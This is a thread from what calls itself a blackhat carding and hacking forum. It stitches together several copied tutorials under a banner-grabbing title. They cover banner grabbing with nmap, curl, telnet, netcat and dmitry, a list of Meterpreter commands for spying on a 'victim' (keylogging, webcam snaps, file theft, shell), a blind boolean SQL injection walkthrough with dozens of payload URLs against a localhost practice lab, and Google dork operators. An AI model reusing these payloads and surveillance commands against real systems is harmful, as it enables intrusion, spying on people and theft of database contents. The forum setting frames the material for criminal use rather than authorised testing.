[Guide] 5 ways to Banner Grabbing - Printable Version +- Blackhat Carding Forum | Carding Forum - Credit Cards - Hacking Forum - Cracking Forum | Bhcforums.cc (https://bhcforums.cc) +-- Forum: Carding Zone (https://bhcforums.cc/Forum-Carding-Zone) +--- Forum: Carders Home (https://bhcforums.cc/Forum-Carders-Home) +--- Thread: [Guide] 5 ways to Banner Grabbing (/Thread-Guide-5-ways-to-Banner-Grabbing)

[Guide] 5 ways to Banner Grabbing - NINZA - 05-04-2020 Banner refers to a text message that received from the host. Banners usually contain information about a service, such as the version number. From Wikipedia Banner grabbing is a process to collect details regarding any remote PC on a network and the services running on its open ports. An attacker can make use of banner grabbing in order to discover network hosts and running services with their versions on their open ports and moreover operating systems so that he can exploit it. Nmap A simple banner grabber which connects to an open TCP port and prints out anything sent by the listening service within five seconds. The banner will be shortened to fit into a single line, but an extra line may be printed for every increase in the level of verbosity requested on the command line. Type following command which will fetch banner for every open port in remote PC. nmap -sV --script=banner 192.168.1.106 1 nmap -sV --script=banner 192.168.1.106 From the screenshot, you can read the services and their version for open ports fetched by NMAP Script to grab the banner for the target 192.168.1.106 Following command will grab the banner for selected port i.e. 80 for http service and version. nmap -Pn -p 80 -sV --script=banner 192.168.1.106 1 nmap -Pn -p 80 -sV --script=banner 192.168.1.106 As result, it will dumb “http-server-header: Apache/2.2.8 (Ubuntu) DAV/2” CURL Curl is used for the head in order to shown document information only; type following command to grab HTTP banner of remote PC. curl -s -I 192.168.1.106 | grep -e "Server: " 1 curl -s -I 192.168.1.106 | grep -e "Server: " As result it will dumb “http-server-header: Apache/2.2.8 (Ubuntu) DAV/2” Telnet Type following command to grab SSH banner of remote PC. telnet 192.168.1.106 22 1 telnet 192.168.1.106 22 As result it will dumb “SSH-2.0-OpenSSH_4.7p1 Debian-8ubuntu1” Netcat Type following command to grab SSH banner of remote PC. nc -v 192.168.1.106 22 1 nc -v 192.168.1.106 22 As result it will dumb “SSH-2.0-OpenSSH_4.7p1 Debian-8ubuntu1” Dmitry Dmitry (Deepmagic Information Gathering Tool) is a UNIX/(GNU)Linux Command Line Application coded in C. Dmitry has the ability to gather as much information as possible about a host. Base functionality is able to gather possible subdomains, email addresses, uptime information, tcp port scan, whois lookups, and more. Dmitry –b is used for banner grabbing for all open ports; Type following command to grab SSH banner of remote PC. dmitry -b 192.168.1.106 1 dmitry -b 192.168.1.106 From the screenshot, you can see it has shown banner for open port 21, 22, 23 and 25. In this way, Attacker can grab the services and their version for open ports on remote PC Metasploit is a security project or we can say a framework provided to us in order to run exploit code in the target’s PC. Metasploit in current scenario includes more than 1600 exploits. It has more than 420 payloads right now which includes command shell, Meterpreter etc. Meterpreter is generated only when the session is created. It helps in gaining full access to the target machine. Once the meterpreter is generated we can have full access to the target machine. Meterpreter includes more than 300 commands which can help us in exploiting the target machine. Help command is the most basic meterpreter command which will provide us with all the commands which can be performed on the target machine. Some of the meterpreter commands are given below: Sysinfo This command will provide the system’s information of the victim. It will provide us every detail of the victim’s PC such as architecture, Operating system in the target machine, how many users are logged in into that machine, system’s language. Getuid This command will provide the identification of the user of the remote PC. Getprivs This command checks the privilege present in the remote PC. If the enabled process privileges are less than the current working user is not the admin. Pwd Pwd stands for present working directory. It shows the current working directory in the remote PC. The image above clearly shows that the user is currently in the Downloads. PS PS command here stands for the process. It will show all the running processes in the remote PC. The image above is providing all the running processes followed by the process id in the victim’s PC. Keylogger Keylogger includes 3 basic functions: keyscan_start This command will start scanning the keyboard activity of the remote PC. keyscan_dump This command will dump the keyboard activity of the remote PC i.e, it will capture the input and display on our screen. keyscan_stop This command will stop scanning the keyboard activity of the remote PC. As we can clearly see in the above-given image that the input given by the victim is visible to us. Show_mount This command will show all the drives present in the remote PC. The drives with the total size and available size in the target’s PC is displayed below. Screenshot By using this command screenshot of the remote PC is captured and is saved in our PC. The path is also provided where the screenshot is saved as shown in the image below. Upload By using this command we can upload any file into the victim’s PC. To upload the file in remote PC we have to provide the path of the file with the filename and extension of the file as well as the destination where we want to upload. Download By using this command we can download any file from the victim’s PC. To download the file we have to first provide the path from where we want to download followed by the file name and extension of the file. In the last, we have to add the path where we want to save that downloaded file. Shell Shell command will provide us the access of the command prompt of the remote PC. After having access to the command prompt we can use any cmd command to exploit victim’s PC. Getsid In this command, sid stands for security identifier. This command will provide the server sid. Ipconfig This command will tell us the IP Address of the remote PC. We will also be able to know the Mac Address of the remote PC. Background This command will send the current active meterpreter session to the background. If you want to go back to the previous session just write sessions and then we will be able to see the active session in our PC. If there is more than one session then we only have to write sessions followed by the session id and we will have the access of that machine whose session id we just selected. Migrate This command helps in transferring the current going process from one port to another port. As you can see in the image above we have transferred the current going process from port no 3872 to port no 2224. Reboot This command will reboot the remote PC. Webcam_snap This command will take a snap of the remote PC. As you can see the above-given image is the snap taken by the remote PC. Getpid This command will provide us with the process id of the currently running process. The currently running process in the target machine has process id 9040 which is displayed in the below-provided image. Localtime This command will just show us the date and time of the remote PC. Checksum This command will provide the hash value of the given file. We just have to write the command followed by the name of the file as well as the extension of it. The hash value is basically the value distinctly generated for every file to maintain the integrity of the file. If there is any kind of modification in the file the hash value is changed even if there is a modification of a single character. The above-given image provides the hash value of the file kJMKzE. Thank You for reading this article.  We will be discussing more meterpreter commands in the next article. Their so many ways to hack the database using SQL injection as we had seen in our previous tutorial Error based attack, login formed based attack and much more different type of attack in order to retrieve information from the inside database. In the same way today we will learn a new type of SQL injection attack known as Blind Boolean based attack. An attacker always checks SQL injection vulnerability using a comma (‘) inside URL  to break the statement in order to receive a SQL error message. It is a fight between the developer and attacker, the developer increases the security level and the attacker tries to break it. This time developer had blocked error message as the output on the website. Hence if the database is vulnerable to SQL injection then the attacker does not obtain any error message on the website. The attacker will try to confirm if the database is vulnerable to Blind SQL Injection by evaluating the results of various queries which return either TRUE or FALSE. Let’s start!! Using Dhakkan we will demonstrate blind SQL injection. Lesson 8 Lesson 8 is regarding blind boolean based injection therefore first we need to explore http://localhost:81/sqli/Less-8/?id=1 on the browser, this will send the query into the database. SELECT * from table_name WHERE id=1 1 SELECT * from table_name WHERE id=1 As output, it will display “you are in” the yellow colour text on the web page as shown in the given image. When an attacker tries to break this query using a comma (‘) http://localhost:81/sqli/Less-8/?id=1’ Or other different technique he will not able to found an error message. Moreover, the yellow colour text will disappear if the attacker tries to inject invalid query which also shown in the given image. Then attacker will go for blind SQL injection to make sure, that inject query must return an answer either true or false. http://localhost:81/sqli/Less-8/?id=1' AND 1=1 --+ SELECT * from table_name WHERE id=1' AND 1=1 1 2 http://localhost:81/sqli/Less-8/?id=1' AND 1=1 --+ SELECT * from table_name WHERE id=1' AND 1=1 Now database test for given condition whether 1 is equal to 1 if the query is valid it returns TRUE, from the screenshot you can see we have got yellow colour text again “you are in”, which means our query is valid. In the next query which checks for URL http://localhost:81/sqli/Less-8/?id=1' AND 1=0 --+ SELECT * from table_name WHERE id=1' AND 1=0 1 2 http://localhost:81/sqli/Less-8/?id=1' AND 1=0 --+ SELECT * from table_name WHERE id=1' AND 1=0 Now it will test the given condition whether 1 is equal to 0 as we know 1 is not equal to 0 hence database answer as ‘FALSE’ query. From the screenshot, it confirms when yellow color text gets disappear again. Hence it confirms that the web application is infected to blind SQL injection. Using true and false condition we are going to retrieve database information. Length of database string The following query will ask the length of the database string. For example, the name of the database is IGNITE which contains 6 alphabets so the length of string for database IGNITE is equal to 6. Similarly, we will inject given below query which will ask whether the length of database string is equal to 1, in the response of that query it will answer by returning TRUE or FALSE through text “you are in”. http://localhost:81/sqli/Less-8/?id=1' AND (length(database())) = 1 --+ 1 http://localhost:81/sqli/Less-8/?id=1' AND (length(database())) = 1 --+ From given screenshot you can see again the text gets disappear which means it has return FALSE to reply NO the length of database string is not equal to 1 http://localhost:81/sqli/Less-8/?id=1' AND (length(database())) = 2 --+ 1 http://localhost:81/sqli/Less-8/?id=1' AND (length(database())) = 2 --+ Again it will test the length of the database string is equal to 2; it has return FALSE to reply NO the length of database string is not equal to 2. Repeat the same step till we do not receive TRUE for string length 3/4/5/ and so on. http://localhost:81/sqli/Less-8/?id=1' AND (length(database())) = 8 --+ 1 http://localhost:81/sqli/Less-8/?id=1' AND (length(database())) = 8 --+ when I test for the string is equal to 8; it answers as true and as result yellow colour text “you are in” appears again. As we know the computer does not understand the human language it can read the only binary language, therefore, we will use ASCII code. The ASCII code associates an integer value for all symbols in the character set, such as letters, digits, punctuation marks, special characters, and control characters. For example look at following string ascii code: 1 = I = 73 2 = G = 71 3 = N = 78 4 = I = 73 5 = T = 84 6 = E = 69 Image Source:lookuptable.com Further, we will enumerate the database name using ascii character for all 8 strings. Next query will ask from database test the condition whether the first string of database name is greater than 100 using acsii substring. http://localhost:81/sqli/Less-8/?id=1' AND (ascii(substr((select database()),1,1))) > 100 --+ 1 http://localhost:81/sqli/Less-8/?id=1' AND (ascii(substr((select database()),1,1))) > 100 --+ It reflects TRUE condition hence if you match the ascii character you will observe that from 100 small alphabets string has been running till 172. http://localhost:81/sqli/Less-8/?id=1' AND (ascii(substr((select database()),1,1))) > 120 --+ 1 http://localhost:81/sqli/Less-8/?id=1' AND (ascii(substr((select database()),1,1))) > 120 --+ Similarly, it will test again whether the first letter is greater than 120. But this time it returns FALSE which means the first letter is greater than 100 and less than 120. http://localhost:81/sqli/Less-8/?id=1' AND (ascii(substr((select database()),1,1))) = 101 --+ 1 http://localhost:81/sqli/Less-8/?id=1' AND (ascii(substr((select database()),1,1))) = 101 --+ Now next it will equate first string from 101, again we got FALSE. We had performed this test from 101 till 114 but receive FALSE every time. http://localhost:81/sqli/Less-8/?id=1' AND (ascii(substr((select database()),1,1))) = 114 --+ 1 http://localhost:81/sqli/Less-8/?id=1' AND (ascii(substr((select database()),1,1))) = 114 --+ http://localhost:81/sqli/Less-8/?id=1' AND (ascii(substr((select database()),1,1))) = 115 --+ 1 http://localhost:81/sqli/Less-8/?id=1' AND (ascii(substr((select database()),1,1))) = 115 --+ Finally receive a TRUE reply at 115 which means the first string is equal to 115, where 115 =‘s’ Similarly, test for the second string, repeat above step by replacing the first string from second. http://localhost:81/sqli/Less-8/?id=1' AND (ascii(substr((select database()),2,1))) > 100 --+ 1 http://localhost:81/sqli/Less-8/?id=1' AND (ascii(substr((select database()),2,1))) > 100 --+ I received a TRUE reply at 101 which means the second string is equal to 101 and 101 = ‘e’. Similarly, I had performed this for all eight strings and got the following result: Given query will test the condition whether the length of string for the first table is equal to 6 or not. http://localhost:81/sqli/Less-8/?id=1' AND (length((select table_name from information_schema.tables where table_schema=database() limit 0,1))) = 6 --+ 1 http://localhost:81/sqli/Less-8/?id=1' AND (length((select table_name from information_schema.tables where table_schema=database() limit 0,1))) = 6 --+ In reply we receive TRUE and text “you are in” appears again on the web site. Similarly I test for second and third table using same technique by replacing only table number in same query. 1 = s = 115 2 = e = 101 3 = c =99 4 = u =117 5 = r =114 6 = i = 105 7 = t = 116 8 = y = 121 Table string length We have to use the same technique for enumerating information of the table from inside the database. Given query will test the condition whether the length of string for the first table is greater than 5 or not. http://localhost:81/sqli/Less-8/?id=1' AND (length((select table_name from information_schema.tables where table_schema=database() limit 0,1))) > 5 --+ 1 http://localhost:81/sqli/Less-8/?id=1' AND (length((select table_name from information_schema.tables where table_schema=database() limit 0,1))) > 5 --+ In reply we receive TRUE and text “you are in” appears again on the web site. Given query will test the condition whether the length of string for the first table is greater than 6 or not. http://localhost:81/sqli/Less-8/?id=1' AND (length((select table_name from information_schema.tables where table_schema=database() limit 0,1))) > 6 --+ 1 http://localhost:81/sqli/Less-8/?id=1' AND (length((select table_name from information_schema.tables where table_schema=database() limit 0,1))) > 6 --+ In reply we receive FALSE and text “you are in” disappears again from the web site. Given query will test the condition whether the length of string for the first table is equal to 6 or not. http://localhost:81/sqli/Less-8/?id=1' AND (length((select table_name from information_schema.tables where table_schema=database() limit 0,1))) = 6 --+ 1 http://localhost:81/sqli/Less-8/?id=1' AND (length((select table_name from information_schema.tables where table_schema=database() limit 0,1))) = 6 --+ In reply we receive TRUE and text “you are in” appears again on the web site. Similarly, I test for the second and third table using the same technique by replacing only table number in the same query. Similarly enumerating fourth table information using the following query to test the condition whether the length of string for the fourth table is equal to 5 or not. http://localhost:81/sqli/Less-8/?id=1' AND (length((select table_name from information_schema.tables where table_schema=database() limit 3,1))) = 5 --+ 1 http://localhost:81/sqli/Less-8/?id=1' AND (length((select table_name from information_schema.tables where table_schema=database() limit 3,1))) = 5 --+ In reply we receive TRUE and text “you are in” appears again on the web site. As we had performed in database enumeration using ascii code similarly we are going to use the same technique to retrieve the table name. Further, we will enumerate the 4th table name using ascii character for all 5 strings. Next query will ask from the database to test the condition whether the first string of table name is greater than 115 using acsii substring. http://localhost:81/sqli/Less-8/?id=1' AND (ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 3,1) ,1,1))) > 115 --+ 1 http://localhost:81/sqli/Less-8/?id=1' AND (ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 3,1) ,1,1))) > 115 --+ It reflects TRUE condition text “you are in” appears again on the web site hence if you match the ascii character. Next query will ask from the database to test the condition whether the first string of table name is greater than 120 using acsii substring. http://localhost:81/sqli/Less-8/?id=1' AND (ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 3,1) ,1,1))) > 120 --+ 1 http://localhost:81/sqli/Less-8/?id=1' AND (ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 3,1) ,1,1))) > 120 --+ But this time it returns FALSE which means the first letter is greater than 115 and less than 120. Proceeding towards equating the string from ascii code between number 115 to 120. Next query will ask from the database to test the condition whether the first string of table name is greater than 120 using acsii substring. http://localhost:81/sqli/Less-8/?id=1' AND (ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 3,1) ,1,1))) = 116 --+ 1 http://localhost:81/sqli/Less-8/?id=1' AND (ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 3,1) ,1,1))) = 116 --+ It returns FALSE, text get disappear. http://localhost:81/sqli/Less-8/?id=1' AND (ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 3,1) ,1,1))) = 117 --+ 1 http://localhost:81/sqli/Less-8/?id=1' AND (ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 3,1) ,1,1))) = 117 --+ It returns TRUE, text gets to appear. Similarly we had test remaining strings and received following result 1 = u = 117 2 = s = 115 3 = e = 101 4 = r = 114 5 = s = 115 User Name Enumeration Using the same method we are going to enumerate length of string username from inside the table users Given below query will test for string length is equal to 4 or not. http://localhost:81/sqli/Less-8/?id=1' AND (length((select username from users limit 0,1))) = 4 --+ 1 http://localhost:81/sqli/Less-8/?id=1' AND (length((select username from users limit 0,1))) = 4 --+ It replies TRUE with help of yellow color text Using the same method we are going to enumerate username from inside the table users Given below query will test for a first string using ascii code. http://localhost:81/sqli/Less-8/?id=1' AND (ascii(substr((select username from users limit 0,1) ,1,1))) > 100 --+ 1 http://localhost:81/sqli/Less-8/?id=1' AND (ascii(substr((select username from users limit 0,1) ,1,1))) > 100 --+ We received FALSE which means the first string must be less than 100. http://localhost:81/sqli/Less-8/?id=1' AND (ascii(substr((select username from users limit 0,1) ,1,1))) > 50 --+ 1 http://localhost:81/sqli/Less-8/?id=1' AND (ascii(substr((select username from users limit 0,1) ,1,1))) > 50 --+ We received TRUE which means the first string must be more than 50. Similarly, http://localhost:81/sqli/Less-8/?id=1' AND (ascii(substr((select username from users limit 0,1) ,1,1))) > 60 --+ 1 http://localhost:81/sqli/Less-8/?id=1' AND (ascii(substr((select username from users limit 0,1) ,1,1))) > 60 --+ We received TRUE which means the first string must be more than 60. Similarly, http://localhost:81/sqli/Less-8/?id=1' AND (ascii(substr((select username from users limit 0,1) ,1,1))) > 70 --+ 1 http://localhost:81/sqli/Less-8/?id=1' AND (ascii(substr((select username from users limit 0,1) ,1,1))) > 70 --+ We received FALSE which means the first string is less than 70. Hence first string must lie between 60 and 70 of ascii code. Proceeding towards comparing string from different ascii code using the following query. http://localhost:81/sqli/Less-8/?id=1' AND (ascii(substr((select username from users limit 0,1) ,1,1))) = 68 --+ 1 http://localhost:81/sqli/Less-8/?id=1' AND (ascii(substr((select username from users limit 0,1) ,1,1))) = 68 --+ This time successfully receive TRUE with appearing text “you are in”. Similarly, I had tested for all four string in order to retrieve username: 1 = D = 68 2 = u = 117 3 = m = 109 4 = b = 98 Hence today we had learned how attacker hacked database using blind SQL injection. !!Try yourself to retrieve the password for user dumb!! Google is a tool which helps in finding what one is looking for. Google operators are the terms provided to us for making our search easy and refined. These operators also termed as advanced Google operators provide the exact information. It reduces the time of the search by instantly providing the information as we don’t have to move from one page to another one. These operators’ works as a query. The basic syntax is->operator: term to be searched Some of these operators are enlisted below: Intitle e.g->intitle:hackingarticles This query will return the pages which include the term “hackingarticles” in it. inurl e.g->inurl:hackingarticles This query will return the pages which include the term hackingarticles in its URL. Related e.g->related:pentest It will provide the result related to our query i.e.pentest Allintext This operator will perform the task of locating a particular string in the text of the page. e.g->allintext:rajchandel The above-given query will return only those pages which include the terms rajchandel in the text. Cache This operator will show the cached version of the webpage instead of the current one. This operator is followed by the URL of the page of which we want to have the cached version. Define This operator provides the definition of a term as a result. e.g->define:pentest. Link This operator will help you to search the pages which link to other pages. This operator is provided a URL instead of a term to search. e.g->link:www.kccitm.edu.in Allintitle This operator is slightly different from the intitle operator. In intitle operator, there was no compulsion of the term in the query to be present in the title whereas in allintitle operator this is must for the term in the query to be present in the title. e.g->allintitle:hackingarticles ADVANTAGES: These operators provide the exact results which we are looking for. There is no wastage of time as there is no redirecting from one page to another. There are different operators for every task to perform i.e. Phonebook to obtain residential and business phone numbers and so on. DISADVANTAGES There are some operators which do not mix with another in the same query, for e.g, allintitle,allintext operators . BASIC GUIDELINES TO USE GOOGLE OPERATORS There should be no space between the operators, colon and the search as violating this rule will not generate the desired result. If the search term is a phrase then there should be no space between the operator, colon as well as the first quote of the phrase. Some advanced operators cannot be combined with others such as allintitle, allintext etc. Boolean operators and special characters such as ‘OR’ and ‘+’ can be used in the queries but they should not be placed in the way of the colon. HOW HACKERS USE GOOGLE OPERATORS Everyone uses google but most of them don’t know to make use of google. Google operators are very famous among hackers and they take full benefit of it. Sensitive information needed by hackers which are not easily retrieved through common search can be produced by the help of Google operators. If a hacker wants to retrieve a pdf file of a particular site then he/she has to use the operator “Filetype” with the URL as well as the extension of the file. A hacker can retrieve the site of the specified domain with the help of the operator “site”. This operator is followed by the separating colon and the domain name. It’s an easy tool for a hacker to get the exact outcome in just a click. Thanks for reading the article. In the next article, we will be discussing more google dorks with web penetration testing.